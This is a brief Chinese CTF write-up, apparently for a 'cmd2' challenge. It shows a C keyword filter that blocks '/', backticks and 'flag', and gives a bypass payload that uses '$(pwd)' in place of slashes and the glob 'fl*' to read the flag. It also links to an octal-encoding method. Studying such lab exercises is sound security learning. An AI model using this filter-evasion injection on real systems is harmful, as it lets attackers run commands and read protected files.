这道题难度还挺高的（对于我来说）

```
int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}
```

可以看到这回的过滤有过滤掉了'/'符号，对于我来说就是晴天霹雳，根本想不出其他办法，只能看wp了

先看一下相关知识

1.单引号
单引号将其中的内容都作为了字符串来处理，忽略所有的命令和特殊字符
类似于一个字符串的用法

2.双引号
双引号与单引号的区别在于其可以包含特殊字符(单引号直接输出内部字符串，不解析特殊字符；双引号内则会解析特殊字符)，包括', ", $, ,如果要忽略特殊字符，就可以利用\来转义，忽略特殊字符，作为普通字符输出

3.反引号
反引号用来包含一个命令字符串的，其中的命令会先执行，得到的结果会返回到上层命令再执行

4.$

linux中的$即“命令提示符”就是你可以一在后面输入命令的，命令提示符前面可能提示当前用户的一些信息，在linux下会提示用户当前目录以及当前用户

方法一：在/目录下执行下列指令

```
./home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*'
```

方法二：转成八进制执行（属实是震惊到我了）
https://www.jianshu.com/p/e688bfabdaab